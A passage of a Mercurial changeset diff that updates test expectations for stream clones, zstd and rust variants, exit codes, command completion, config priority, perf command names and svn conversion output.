!) + 0010: 99 07 53 54 52 45 41 4d 32 00 00 00 00 03 00 09 |..STREAM2.......| (zstd no-rust !) + 0010: ae 07 53 54 52 45 41 4d 32 00 00 00 00 03 00 09 |..STREAM2.......| (rust !) + 0020: 05 09 04 0c 5e 62 79 74 65 63 6f 75 6e 74 39 35 |....^bytecount95| (zstd no-rust !) + 0020: 05 09 04 0c 73 62 79 74 65 63 6f 75 6e 74 39 35 |....sbytecount95| (rust !) + 0030: 38 39 37 66 69 6c 65 63 6f 75 6e 74 31 30 33 30 |897filecount1030| (zstd !) 0040: 72 65 71 75 69 72 65 6d 65 6e 74 73 64 6f 74 65 |requirementsdote| 0050: 6e 63 6f 64 65 25 32 43 66 6e 63 61 63 68 65 25 |ncode%2Cfncache%| 0060: 32 43 67 65 6e 65 72 61 6c 64 65 6c 74 61 25 32 |2Cgeneraldelta%2| - 0070: 43 72 65 76 6c 6f 67 76 31 25 32 43 73 70 61 72 |Crevlogv1%2Cspar| - 0080: 73 65 72 65 76 6c 6f 67 25 32 43 73 74 6f 72 65 |serevlog%2Cstore| - 0090: 00 00 80 00 73 08 42 64 61 74 61 2f 30 2e 69 00 |....s.Bdata/0.i.| - 00a0: 03 00 01 00 00 00 00 00 00 00 02 00 00 00 01 00 |................| - 00b0: 00 00 00 00 00 00 01 ff ff ff ff ff ff ff ff 80 |................| - 00c0: 29 63 a0 49 d3 23 87 bf ce fe 56 67 92 67 2c 69 |)c.I.#....Vg.g,i| - 00d0: d1 ec 39 00 00 00 00 00 00 00 00 00 00 00 00 75 |..9............u| - 00e0: 30 73 08 42 64 61 74 61 2f 31 2e 69 00 03 00 01 |0s.Bdata/1.i....| - 00f0: 00 00 00 00 00 00 00 02 00 00 00 01 00 00 00 00 |................| + 0070: 43 72 65 76 6c 6f 67 76 31 25 32 43 73 70 61 72 |Crevlogv1%2Cspar| (no-zstd !) + 0080: 73 65 72 65 76 6c 6f 67 25 32 43 73 74 6f 72 65 |serevlog%2Cstore| (no-zstd !) + 0090: 00 00 80 00 73 08 42 64 61 74 61 2f 30 2e 69 00 |....s.Bdata/0.i.| (no-zstd !) + 00a0: 03 00 01 00 00 00 00 00 00 00 02 00 00 00 01 00 |................| (no-zstd !) + 00b0: 00 00 00 00 00 00 01 ff ff ff ff ff ff ff ff 80 |................| (no-zstd !) + 00c0: 29 63 a0 49 d3 23 87 bf ce fe 56 67 92 67 2c 69 |)c.I.#....Vg.g,i| (no-zstd !) + 00d0: d1 ec 39 00 00 00 00 00 00 00 00 00 00 00 00 75 |..9............u| (no-zstd !) + 00e0: 30 73 08 42 64 61 74 61 2f 31 2e 69 00 03 00 01 |0s.Bdata/1.i....| (no-zstd !) + 00f0: 00 00 00 00 00 00 00 02 00 00 00 01 00 00 00 00 |................| (no-zstd !) + 0070: 43 72 65 76 6c 6f 67 2d 63 6f 6d 70 72 65 73 73 |Crevlog-compress| (zstd no-rust !) + 0070: 43 70 65 72 73 69 73 74 65 6e 74 2d 6e 6f 64 65 |Cpersistent-node| (rust !) + 0080: 69 6f 6e 2d 7a 73 74 64 25 32 43 72 65 76 6c 6f |ion-zstd%2Crevlo| (zstd no-rust !) + 0080: 6d 61 70 25 32 43 72 65 76 6c 6f 67 2d 63 6f 6d |map%2Crevlog-com| (rust !) + 0090: 67 76 31 25 32 43 73 70 61 72 73 65 72 65 76 6c |gv1%2Csparserevl| (zstd no-rust !) + 0090: 70 72 65 73 73 69 6f 6e 2d 7a 73 74 64 25 32 43 |pression-zstd%2C| (rust !) + 00a0: 6f 67 25 32 43 73 74 6f 72 65 00 00 80 00 73 08 |og%2Cstore....s.| (zstd no-rust !) + 00a0: 72 65 76 6c 6f 67 76 31 25 32 43 73 70 61 72 73 |revlogv1%2Cspars| (rust !) + 00b0: 42 64 61 74 61 2f 30 2e 69 00 03 00 01 00 00 00 |Bdata/0.i.......| (zstd no-rust !) + 00b0: 65 72 65 76 6c 6f 67 25 32 43 73 74 6f 72 65 00 |erevlog%2Cstore.| (rust !) + 00c0: 00 00 00 00 02 00 00 00 01 00 00 00 00 00 00 00 |................| (zstd no-rust !) + 00c0: 00 80 00 73 08 42 64 61 74 61 2f 30 2e 69 00 03 |...s.Bdata/0.i..| (rust !) + 00d0: 01 ff ff ff ff ff ff ff ff 80 29 63 a0 49 d3 23 |..........)c.I.#| (zstd no-rust !) + 00d0: 00 01 00 00 00 00 00 00 00 02 00 00 00 01 00 00 |................| (rust !) + 00e0: 87 bf ce fe 56 67 92 67 2c 69 d1 ec 39 00 00 00 |....Vg.g,i..9...| (zstd no-rust !) + 00e0: 00 00 00 00 00 01 ff ff ff ff ff ff ff ff 80 29 |...............)| (rust !) + 00f0: 00 00 00 00 00 00 00 00 00 75 30 73 08 42 64 61 |.........u0s.Bda| (zstd no-rust !) + 00f0: 63 a0 49 d3 23 87 bf ce fe 56 67 92 67 2c 69 d1 |c.I.#....Vg.g,i.| (rust !) --uncompressed is an alias to --stream #if stream-legacy $ hg clone --uncompressed -U http://localhost:$HGPORT clone1-uncompressed streaming all changes - 1027 files to transfer, 96.3 KB of data - transferred 96.3 KB in * seconds (*/sec) (glob) + 1027 files to transfer, 96.3 KB of data (no-zstd !) + transferred 96.3 KB in * seconds (*/sec) (glob) (no-zstd !) + 1027 files to transfer, 93.5 KB of data (zstd !) + transferred 93.5 KB in * seconds (* */sec) (glob) (zstd !) searching for changes no changes found #endif #if stream-bundle2 $ hg clone --uncompressed -U http://localhost:$HGPORT clone1-uncompressed streaming all changes - 1030 files to transfer, 96.5 KB of data - transferred 96.5 KB in * seconds (* */sec) (glob) + 1030 files to transfer, 96.5 KB of data (no-zstd !) + transferred 96.5 KB in * seconds (* */sec) (glob) (no-zstd !) + 1030 files to transfer, 93.6 KB of data (zstd !) + transferred 93.6 KB in * seconds (* */sec) (glob) (zstd !) #endif Clone with background file closing enabled @@ -257,10 +290,12 @@ sending branchmap command streaming all changes sending stream_out command - 1027 files to transfer, 96.3 KB of data + 1027 files to transfer, 96.3 KB of data (no-zstd !) + 1027 files to transfer, 93.5 KB of data (zstd !) starting 4 threads for background file closing updating the branch cache - transferred 96.3 KB in * seconds (*/sec) (glob) + transferred 96.3 KB in * seconds (*/sec) (glob) (no-zstd !) + transferred 93.5 KB in * seconds (* */sec) (glob) (zstd !) query 1; heads sending batch command searching for changes @@ -287,12 +322,15 @@ bundle2-input-bundle: with-transaction bundle2-input-part: "stream2" (params: 3 mandatory) supported applying stream bundle - 1030 files to transfer, 96.5 KB of data + 1030 files to transfer, 96.5 KB of data (no-zstd !) + 1030 files to transfer, 93.6 KB of data (zstd !) starting 4 threads for background file closing starting 4 threads for background file closing updating the branch cache - transferred 96.5 KB in * seconds (* */sec) (glob) - bundle2-input-part: total payload size 112094 + transferred 96.5 KB in * seconds (* */sec) (glob) (no-zstd !) + bundle2-input-part: total payload size 112094 (no-zstd !) + transferred 93.6 KB in * seconds (* */sec) (glob) (zstd !) + bundle2-input-part: total payload size 109216 (zstd !) bundle2-input-part: "listkeys" (params: 1 mandatory) supported bundle2-input-bundle: 2 parts total checking for updated bookmarks @@ -324,16 +362,20 @@ #if stream-legacy $ hg clone --stream -U http://localhost:$HGPORT secret-allowed streaming all changes - 1027 files to transfer, 96.3 KB of data - transferred 96.3 KB in * seconds (*/sec) (glob) + 1027 files to transfer, 96.3 KB of data (no-zstd !) + transferred 96.3 KB in * seconds (*/sec) (glob) (no-zstd !) + 1027 files to transfer, 93.5 KB of data (zstd !) + transferred 93.5 KB in * seconds (* */sec) (glob) (zstd !) searching for changes no changes found #endif #if stream-bundle2 $ hg clone --stream -U http://localhost:$HGPORT secret-allowed streaming all changes - 1030 files to transfer, 96.5 KB of data - transferred 96.5 KB in * seconds (* */sec) (glob) + 1030 files to transfer, 96.5 KB of data (no-zstd !) + transferred 96.5 KB in * seconds (* */sec) (glob) (no-zstd !) + 1030 files to transfer, 93.6 KB of data (zstd !) + transferred 93.6 KB in * seconds (* */sec) (glob) (zstd !) #endif $ killdaemons.py @@ -368,7 +410,7 @@ remote: abort: server has pull-based clones disabled abort: pull failed on remote (remove --pull if specified or upgrade Mercurial) - [255] + [100] Local stream clone with secrets involved (This is just a test over behavior: if you have access to the repo's files, @@ -391,14 +433,35 @@ extension for delaying the server process so we reliably can modify the repo while cloning - $ cat > delayer.py < import time - > from mercurial import extensions, vfs - > def __call__(orig, self, path, *args, **kwargs): - > if path == 'data/f1.i': - > time.sleep(2) - > return orig(self, path, *args, **kwargs) - > extensions.wrapfunction(vfs.vfs, '__call__', __call__) + $ cat > stream_steps.py < import os + > import sys + > from mercurial import ( + > encoding, + > extensions, + > streamclone, + > testing, + > ) + > WALKED_FILE_1 = encoding.environ[b'HG_TEST_STREAM_WALKED_FILE_1'] + > WALKED_FILE_2 = encoding.environ[b'HG_TEST_STREAM_WALKED_FILE_2'] + > + > def _test_sync_point_walk_1(orig, repo): + > testing.write_file(WALKED_FILE_1) + > + > def _test_sync_point_walk_2(orig, repo): + > assert repo._currentlock(repo._lockref) is None + > testing.wait_file(WALKED_FILE_2) + > + > extensions.wrapfunction( + > streamclone, + > '_test_sync_point_walk_1', + > _test_sync_point_walk_1 + > ) + > extensions.wrapfunction( + > streamclone, + > '_test_sync_point_walk_2', + > _test_sync_point_walk_2 + > ) > EOF prepare repo with small and big file to cover both code paths in emitrevlogdata @@ -407,20 +470,32 @@ $ touch repo/f1 $ $TESTDIR/seq.py 50000 > repo/f2 $ hg -R repo ci -Aqm "0" - $ hg serve -R repo -p $HGPORT1 -d --pid-file=hg.pid --config extensions.delayer=delayer.py + $ HG_TEST_STREAM_WALKED_FILE_1="$TESTTMP/sync_file_walked_1" + $ export HG_TEST_STREAM_WALKED_FILE_1 + $ HG_TEST_STREAM_WALKED_FILE_2="$TESTTMP/sync_file_walked_2" + $ export HG_TEST_STREAM_WALKED_FILE_2 + $ HG_TEST_STREAM_WALKED_FILE_3="$TESTTMP/sync_file_walked_3" + $ export HG_TEST_STREAM_WALKED_FILE_3 +# $ cat << EOF >> $HGRCPATH +# > [hooks] +# > pre-clone=rm -f "$TESTTMP/sync_file_walked_*" +# > EOF + $ hg serve -R repo -p $HGPORT1 -d --error errors.log --pid-file=hg.pid --config extensions.stream_steps="$RUNTESTDIR/testlib/ext-stream-clone-steps.py" $ cat hg.pid >> $DAEMON_PIDS clone while modifying the repo between stating file with write lock and actually serving file content - $ hg clone -q --stream -U http://localhost:$HGPORT1 clone & - $ sleep 1 + $ (hg clone -q --stream -U http://localhost:$HGPORT1 clone; touch "$HG_TEST_STREAM_WALKED_FILE_3") & + $ $RUNTESTDIR/testlib/wait-on-file 10 $HG_TEST_STREAM_WALKED_FILE_1 $ echo >> repo/f1 $ echo >> repo/f2 $ hg -R repo ci -m "1" --config ui.timeout.warn=-1 - $ wait + $ touch $HG_TEST_STREAM_WALKED_FILE_2 + $ $RUNTESTDIR/testlib/wait-on-file 10 $HG_TEST_STREAM_WALKED_FILE_3 $ hg -R clone id 000000000000 + $ cat errors.log $ cd .. Stream repository with bookmarks @@ -439,8 +514,10 @@ #if stream-legacy $ hg clone --stream http://localhost:$HGPORT with-bookmarks streaming all changes - 1027 files to transfer, 96.3 KB of data - transferred 96.3 KB in * seconds (*) (glob) + 1027 files to transfer, 96.3 KB of data (no-zstd !) + transferred 96.3 KB in * seconds (*) (glob) (no-zstd !) + 1027 files to transfer, 93.5 KB of data (zstd !) + transferred 93.5 KB in * seconds (* */sec) (glob) (zstd !) searching for changes no changes found updating to branch default @@ -449,8 +526,10 @@ #if stream-bundle2 $ hg clone --stream http://localhost:$HGPORT with-bookmarks streaming all changes - 1033 files to transfer, 96.6 KB of data - transferred 96.6 KB in * seconds (* */sec) (glob) + 1033 files to transfer, 96.6 KB of data (no-zstd !) + transferred 96.6 KB in * seconds (* */sec) (glob) (no-zstd !) + 1033 files to transfer, 93.8 KB of data (zstd !) + transferred 93.8 KB in * seconds (* */sec) (glob) (zstd !) updating to branch default 1025 files updated, 0 files merged, 0 files removed, 0 files unresolved #endif @@ -469,8 +548,10 @@ #if stream-legacy $ hg clone --stream http://localhost:$HGPORT phase-publish streaming all changes - 1027 files to transfer, 96.3 KB of data - transferred 96.3 KB in * seconds (*) (glob) + 1027 files to transfer, 96.3 KB of data (no-zstd !) + transferred 96.3 KB in * seconds (*) (glob) (no-zstd !) + 1027 files to transfer, 93.5 KB of data (zstd !) + transferred 93.5 KB in * seconds (* */sec) (glob) (zstd !) searching for changes no changes found updating to branch default @@ -479,8 +560,10 @@ #if stream-bundle2 $ hg clone --stream http://localhost:$HGPORT phase-publish streaming all changes - 1033 files to transfer, 96.6 KB of data - transferred 96.6 KB in * seconds (* */sec) (glob) + 1033 files to transfer, 96.6 KB of data (no-zstd !) + transferred 96.6 KB in * seconds (* */sec) (glob) (no-zstd !) + 1033 files to transfer, 93.8 KB of data (zstd !) + transferred 93.8 KB in * seconds (* */sec) (glob) (zstd !) updating to branch default 1025 files updated, 0 files merged, 0 files removed, 0 files unresolved #endif @@ -505,8 +588,10 @@ $ hg clone --stream http://localhost:$HGPORT phase-no-publish streaming all changes - 1027 files to transfer, 96.3 KB of data - transferred 96.3 KB in * seconds (*) (glob) + 1027 files to transfer, 96.3 KB of data (no-zstd !) + transferred 96.3 KB in * seconds (* */sec) (glob) (no-zstd !) + 1027 files to transfer, 93.5 KB of data (zstd !) + transferred 93.5 KB in * seconds (* */sec) (glob) (zstd !) searching for changes no changes found updating to branch default @@ -518,8 +603,10 @@ #if stream-bundle2 $ hg clone --stream http://localhost:$HGPORT phase-no-publish streaming all changes - 1034 files to transfer, 96.7 KB of data - transferred 96.7 KB in * seconds (* */sec) (glob) + 1034 files to transfer, 96.7 KB of data (no-zstd !) + transferred 96.7 KB in * seconds (* */sec) (glob) (no-zstd !) + 1034 files to transfer, 93.9 KB of data (zstd !) + transferred 93.9 KB in * seconds (* */sec) (glob) (zstd !) updating to branch default 1025 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg -R phase-no-publish phase -r 'all()' @@ -563,8 +650,10 @@ $ hg clone -U --stream http://localhost:$HGPORT with-obsolescence streaming all changes - 1035 files to transfer, 97.1 KB of data - transferred 97.1 KB in * seconds (* */sec) (glob) + 1035 files to transfer, 97.1 KB of data (no-zstd !) + transferred 97.1 KB in * seconds (* */sec) (glob) (no-zstd !) + 1035 files to transfer, 94.3 KB of data (zstd !) + transferred 94.3 KB in * seconds (* */sec) (glob) (zstd !) $ hg -R with-obsolescence log -T '{rev}: {phase}\n' 1: draft 0: draft @@ -575,7 +664,7 @@ streaming all changes remote: abort: server has obsolescence markers, but client cannot receive them via stream clone abort: pull failed on remote - [255] + [100] $ killdaemons.py diff -r bc268ea9f984 -r f67b8946bb1b tests/test-clonebundles.t --- a/tests/test-clonebundles.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-clonebundles.t Tue Apr 20 11:01:06 2021 -0400 @@ -279,7 +279,8 @@ $ hg -R server debugcreatestreamclonebundle packed.hg writing 613 bytes for 4 files - bundle requirements: generaldelta, revlogv1, sparserevlog + bundle requirements: generaldelta, revlogv1, sparserevlog (no-rust !) + bundle requirements: generaldelta, persistent-nodemap, revlogv1, sparserevlog (rust !) No bundle spec should work @@ -589,9 +590,7 @@ bundle2-input-part: "listkeys" (params: 1 mandatory) supported bundle2-input-part: "phase-heads" supported bundle2-input-part: total payload size 24 - bundle2-input-part: "cache:rev-branch-cache" (advisory) supported - bundle2-input-part: total payload size 59 - bundle2-input-bundle: 4 parts total + bundle2-input-bundle: 3 parts total checking for updated bookmarks updating the branch cache added 2 changesets with 2 changes to 2 files diff -r bc268ea9f984 -r f67b8946bb1b tests/test-commandserver.t --- a/tests/test-commandserver.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-commandserver.t Tue Apr 20 11:01:06 2021 -0400 @@ -522,7 +522,7 @@ transaction abort! rollback completed abort: pretxncommit hook exited with status 1 - [255] + [40] *** runcommand verify checking changesets checking manifests @@ -1013,7 +1013,7 @@ transaction abort! rollback completed abort: pretxncommit hook exited with status 1 - [255] + [40] *** runcommand log *** runcommand verify -q @@ -1057,7 +1057,7 @@ transaction abort! rollback completed abort: pretxncommit hook exited with status 1 - [255] + [40] *** runcommand log 0 bar (bar) *** runcommand verify -q diff -r bc268ea9f984 -r f67b8946bb1b tests/test-commit-amend.t --- a/tests/test-commit-amend.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-commit-amend.t Tue Apr 20 11:01:06 2021 -0400 @@ -209,7 +209,7 @@ transaction abort! rollback completed abort: pretxncommit.test-saving-last-message hook exited with status 1 - [255] + [40] $ cat .hg/last-message.txt message given from command line (no-eol) @@ -234,7 +234,7 @@ transaction abort! rollback completed abort: pretxncommit.test-saving-last-message hook exited with status 1 - [255] + [40] $ cat .hg/last-message.txt another precious commit message diff -r bc268ea9f984 -r f67b8946bb1b tests/test-completion.t --- a/tests/test-completion.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-completion.t Tue Apr 20 11:01:06 2021 -0400 @@ -38,6 +38,7 @@ paths phase pull + purge push recover remove @@ -129,6 +130,7 @@ debugrevspec debugserve debugsetparents + debugshell debugsidedata debugssl debugstrip @@ -270,7 +272,7 @@ debugbuilddag: mergeable-file, overwritten-file, new-file debugbundle: all, part-type, spec debugcapabilities: - debugchangedfiles: + debugchangedfiles: compute debugcheckstate: debugcolor: style debugcommands: @@ -281,7 +283,7 @@ debugdate: extended debugdeltachain: changelog, manifest, dir, template debugdirstate: nodates, dates, datesort - debugdiscovery: old, nonheads, rev, seed, ssh, remotecmd, insecure + debugdiscovery: old, nonheads, rev, seed, local-as-revs, remote-as-revs, ssh, remotecmd, insecure, template debugdownload: output debugextensions: template debugfileset: rev, all-files, show-matcher, show-stage @@ -318,6 +320,7 @@ debugrevspec: optimize, show-revs, show-set, show-stage, no-optimized, verify-optimized debugserve: sshstdio, logiofd, logiofile debugsetparents: + debugshell: debugsidedata: changelog, manifest, dir debugssl: debugstrip: rev, force, no-backup, nobackup, , keep, bookmark, soft @@ -354,10 +357,11 @@ paths: template phase: public, draft, secret, force, rev pull: update, force, confirm, rev, bookmark, branch, ssh, remotecmd, insecure + purge: abort-on-err, all, ignored, dirs, files, print, print0, confirm, include, exclude push: force, rev, bookmark, all-bookmarks, branch, new-branch, pushvars, publish, ssh, remotecmd, insecure recover: verify remove: after, force, subrepos, include, exclude, dry-run - rename: after, at-rev, force, include, exclude, dry-run + rename: forget, after, at-rev, force, include, exclude, dry-run resolve: all, list, mark, unmark, no-status, re-merge, tool, include, exclude, template revert: all, date, rev, no-backup, interactive, include, exclude, dry-run rollback: dry-run, force diff -r bc268ea9f984 -r f67b8946bb1b tests/test-config.t --- a/tests/test-config.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-config.t Tue Apr 20 11:01:06 2021 -0400 @@ -1,3 +1,17 @@ +Windows needs ';' as a file separator in an environment variable, and MSYS +doesn't automatically convert it in every case. + +#if windows + $ path_list_var() { + > echo $1 | sed 's/:/;/' + > } +#else + $ path_list_var() { + > echo $1 + > } +#endif + + hide outer repo $ hg init @@ -388,3 +402,114 @@ > done $ HGRCPATH=configs hg config section.key 99 + +Configuration priority +====================== + +setup necessary file + + $ cat > file-A.rc << EOF + > [config-test] + > basic = value-A + > pre-include= value-A + > %include ./included.rc + > post-include= value-A + > [command-templates] + > log = "value-A\n" + > EOF + + $ cat > file-B.rc << EOF + > [config-test] + > basic = value-B + > [ui] + > logtemplate = "value-B\n" + > EOF + + + $ cat > included.rc << EOF + > [config-test] + > pre-include= value-included + > post-include= value-included + > EOF + + $ cat > file-C.rc << EOF + > %include ./included-alias-C.rc + > [ui] + > logtemplate = "value-C\n" + > EOF + + $ cat > included-alias-C.rc << EOF + > [command-templates] + > log = "value-included\n" + > EOF + + + $ cat > file-D.rc << EOF + > [command-templates] + > log = "value-D\n" + > %include ./included-alias-D.rc + > EOF + + $ cat > included-alias-D.rc << EOF + > [ui] + > logtemplate = "value-included\n" + > EOF + +Simple order checking +--------------------- + +If file B is read after file A, value from B overwrite value from A. + + $ HGRCPATH=`path_list_var "file-A.rc:file-B.rc"` hg config config-test.basic + value-B + +Ordering from include +--------------------- + +value from an include overwrite value defined before the include, but not the one defined after the include + + $ HGRCPATH="file-A.rc" hg config config-test.pre-include + value-included + $ HGRCPATH="file-A.rc" hg config config-test.post-include + value-A + +command line override +--------------------- + + $ HGRCPATH=`path_list_var "file-A.rc:file-B.rc"` hg config config-test.basic --config config-test.basic=value-CLI + value-CLI + +Alias ordering +-------------- + +The official config is now `command-templates.log`, the historical +`ui.logtemplate` is a valid alternative for it. + +When both are defined, The config value read the last "win", this should keep +being true if the config have other alias. In other word, the config value read +earlier will be considered "lower level" and the config read later would be +considered "higher level". And higher level values wins. + + $ HGRCPATH="file-A.rc" hg log -r . + value-A + $ HGRCPATH="file-B.rc" hg log -r . + value-B + $ HGRCPATH=`path_list_var "file-A.rc:file-B.rc"` hg log -r . + value-B + +Alias and include +----------------- + +The pre/post include priority should also apply when tie-breaking alternatives. +See the case above for details about the two config options used. + + $ HGRCPATH="file-C.rc" hg log -r . + value-C + $ HGRCPATH="file-D.rc" hg log -r . + value-included + +command line override +--------------------- + + $ HGRCPATH=`path_list_var "file-A.rc:file-B.rc"` hg log -r . --config ui.logtemplate="value-CLI\n" + value-CLI diff -r bc268ea9f984 -r f67b8946bb1b tests/test-contrib-perf.t --- a/tests/test-contrib-perf.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-contrib-perf.t Tue Apr 20 11:01:06 2021 -0400 @@ -78,111 +78,137 @@ list of commands: - perfaddremove + perf::addremove + (no help text available) + perf::ancestors (no help text available) - perfancestors + perf::ancestorset (no help text available) - perfancestorset + perf::annotate (no help text available) - perfannotate (no help text available) - perfbdiff benchmark a bdiff between revisions - perfbookmarks + perf::bdiff benchmark a bdiff between revisions + perf::bookmarks benchmark parsing bookmarks from disk to memory - perfbranchmap + perf::branchmap benchmark the update of a branchmap - perfbranchmapload + perf::branchmapload benchmark reading the branchmap - perfbranchmapupdate + perf::branchmapupdate benchmark branchmap update from for revs to revs - perfbundleread + perf::bundleread Benchmark reading of bundle files. - perfcca (no help text available) - perfchangegroupchangelog + perf::cca (no help text available) + perf::changegroupchangelog Benchmark producing a changelog group for a changegroup. - perfchangeset + perf::changeset + (no help text available) + perf::ctxfiles (no help text available) - perfctxfiles (no help text available) - perfdiffwd Profile diff of working directory changes - perfdirfoldmap + perf::diffwd Profile diff of working directory changes + perf::dirfoldmap benchmap a 'dirstate._map.dirfoldmap.get()' request - perfdirs (no help text available) - perfdirstate benchmap the time of various distate operations - perfdirstatedirs + perf::dirs (no help text available) + perf::dirstate + benchmap the time of various distate operations + perf::dirstatedirs benchmap a 'dirstate.hasdir' call from an empty 'dirs' cache - perfdirstatefoldmap + perf::dirstatefoldmap benchmap a 'dirstate._map.filefoldmap.get()' request - perfdirstatewrite + perf::dirstatewrite benchmap the time it take to write a dirstate on disk - perfdiscovery + perf::discovery benchmark discovery between local repo and the peer at given path - perffncacheencode + perf::fncacheencode (no help text available) - perffncacheload + perf::fncacheload (no help text available) - perffncachewrite + perf::fncachewrite (no help text available) - perfheads benchmark the computation of a changelog heads - perfhelper-mergecopies + perf::heads benchmark the computation of a changelog heads + perf::helper-mergecopies find statistics about potential parameters for 'perfmergecopies' - perfhelper-pathcopies + perf::helper-pathcopies find statistic about potential parameters for the 'perftracecopies' - perfignore benchmark operation related to computing ignore - perfindex benchmark index creation time followed by a lookup - perflinelogedits + perf::ignore benchmark operation related to computing ignore + perf::index benchmark index creation time followed by a lookup + perf::linelogedits (no help text available) - perfloadmarkers + perf::loadmarkers benchmark the time to parse the on-disk markers for a repo - perflog (no help text available) - perflookup (no help text available) - perflrucachedict + perf::log (no help text available) + perf::lookup (no help text available) + perf::lrucachedict (no help text available) - perfmanifest benchmark the time to read a manifest from disk and return a + perf::manifest + benchmark the time to read a manifest from disk and return a usable - perfmergecalculate + perf::mergecalculate (no help text available) - perfmergecopies + perf::mergecopies measure runtime of 'copies.mergecopies' - perfmoonwalk benchmark walking the changelog backwards - perfnodelookup + perf::moonwalk + benchmark walking the changelog backwards + perf::nodelookup (no help text available) - perfnodemap benchmark the time necessary to look up revision from a cold + perf::nodemap + benchmark the time necessary to look up revision from a cold nodemap - perfparents benchmark the time necessary to fetch one changeset's parents. - perfpathcopies + perf::parents + benchmark the time necessary to fetch one changeset's parents. + perf::pathcopies benchmark the copy tracing logic - perfphases benchmark phasesets computation - perfphasesremote + perf::phases benchmark phasesets computation + perf::phasesremote benchmark time needed to analyse phases of the remote server - perfprogress printing of progress bars - perfrawfiles (no help text available) - perfrevlogchunks + perf::progress + printing of progress bars + perf::rawfiles + (no help text available) + perf::revlogchunks Benchmark operations on revlog chunks. - perfrevlogindex + perf::revlogindex Benchmark operations against a revlog index. - perfrevlogrevision + perf::revlogrevision Benchmark obtaining a revlog revision. - perfrevlogrevisions + perf::revlogrevisions Benchmark reading a series of revisions from a revlog. - perfrevlogwrite + perf::revlogwrite Benchmark writing a series of revisions to a revlog. - perfrevrange (no help text available) - perfrevset benchmark the execution time of a revset - perfstartup (no help text available) - perfstatus benchmark the performance of a single status call - perftags (no help text available) - perftemplating + perf::revrange + (no help text available) + perf::revset benchmark the execution time of a revset + perf::startup + (no help text available) + perf::status benchmark the performance of a single status call + perf::tags (no help text available) + perf::templating test the rendering time of a given template - perfunidiff benchmark a unified diff between revisions - perfvolatilesets + perf::unidiff + benchmark a unified diff between revisions + perf::volatilesets benchmark the computation of various volatile set - perfwalk (no help text available) - perfwrite microbenchmark ui.write (and others) + perf::walk (no help text available) + perf::write microbenchmark ui.write (and others) (use 'hg help -v perf' to show built-in aliases and global options) + + $ hg help perfaddremove + hg perf::addremove + + aliases: perfaddremove + + (no help text available) + + options: + + -T --template TEMPLATE display with template + + (some details hidden, use --verbose to show complete help) + $ hg perfaddremove $ hg perfancestors $ hg perfancestorset 2 diff -r bc268ea9f984 -r f67b8946bb1b tests/test-convert-cvs.t --- a/tests/test-convert-cvs.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-convert-cvs.t Tue Apr 20 11:01:06 2021 -0400 @@ -521,7 +521,7 @@ |cp932 |\x82\xa0 | x x o | $ mkdir -p cvsrepo/transcoding - $ python < fp = open('cvsrepo/transcoding/file,v', 'wb') > fp.write((b''' > head 1.4; diff -r bc268ea9f984 -r f67b8946bb1b tests/test-convert-filemap.t --- a/tests/test-convert-filemap.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-convert-filemap.t Tue Apr 20 11:01:06 2021 -0400 @@ -292,12 +292,12 @@ $ rm -rf source/.hg/store/data/dir/file4 #endif $ hg -q convert --filemap renames.fmap --datesort source dummydest - abort: data/dir/file3.i@e96dce0bc6a2: no match found (reporevlogstore !) + abort: data/dir/file3.i@e96dce0bc6a217656a3a410e5e6bec2c4f42bf7c: no match found (reporevlogstore !) abort: data/dir/file3/index@e96dce0bc6a2: no node (reposimplestore !) [50] $ hg -q convert --filemap renames.fmap --datesort --config convert.hg.ignoreerrors=1 source renames.repo - ignoring: data/dir/file3.i@e96dce0bc6a2: no match found (reporevlogstore !) - ignoring: data/dir/file4.i@6edd55f559cd: no match found (reporevlogstore !) + ignoring: data/dir/file3.i@e96dce0bc6a217656a3a410e5e6bec2c4f42bf7c: no match found (reporevlogstore !) + ignoring: data/dir/file4.i@6edd55f559cdce67132b12ca09e09cee08b60442: no match found (reporevlogstore !) ignoring: data/dir/file3/index@e96dce0bc6a2: no node (reposimplestore !) ignoring: data/dir/file4/index@6edd55f559cd: no node (reposimplestore !) $ hg up -q -R renames.repo diff -r bc268ea9f984 -r f67b8946bb1b tests/test-convert-hg-source.t --- a/tests/test-convert-hg-source.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-convert-hg-source.t Tue Apr 20 11:01:06 2021 -0400 @@ -182,7 +182,7 @@ sorting... converting... 4 init - ignoring: data/b.i@1e88685f5dde: no match found (reporevlogstore !) + ignoring: data/b.i@1e88685f5ddec574a34c70af492f95b6debc8741: no match found (reporevlogstore !) ignoring: data/b/index@1e88685f5dde: no node (reposimplestore !) 3 changeall 2 changebagain diff -r bc268ea9f984 -r f67b8946bb1b tests/test-convert-svn-sink.t --- a/tests/test-convert-svn-sink.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-convert-svn-sink.t Tue Apr 20 11:01:06 2021 -0400 @@ -54,10 +54,12 @@ 2 2 test a revision: 2 author: test + date: * (glob) msg: modify a file M /a revision: 1 author: test + date: * (glob) msg: add a file A /a A /d1 @@ -95,6 +97,7 @@ 3 3 test b revision: 3 author: test + date: * (glob) msg: rename a file D /a A /b (from /a@2) @@ -131,6 +134,7 @@ 4 4 test c revision: 4 author: test + date: * (glob) msg: copy a file A /c (from /b@3) $ ls a a-hg-wc @@ -167,6 +171,7 @@ 5 5 test . revision: 5 author: test + date: * (glob) msg: remove a file D /b $ ls a a-hg-wc @@ -209,6 +214,7 @@ 6 6 test c revision: 6 author: test + date: * (glob) msg: make a file executable M /c #if execbit @@ -247,6 +253,7 @@ 8 8 test newlink revision: 8 author: test + date: * (glob) msg: move symlink D /link A /newlink (from /link@7) @@ -278,6 +285,7 @@ 7 7 test f revision: 7 author: test + date: * (glob) msg: f D /c A /d @@ -315,6 +323,7 @@ 1 1 test d1/a revision: 1 author: test + date: * (glob) msg: add executable file in new directory A /d1 A /d1/a @@ -343,6 +352,7 @@ 2 2 test d2/a revision: 2 author: test + date: * (glob) msg: copy file to new directory A /d2 A /d2/a (from /d1/a@1) @@ -416,21 +426,25 @@ 4 4 test right-2 revision: 4 author: test + date: * 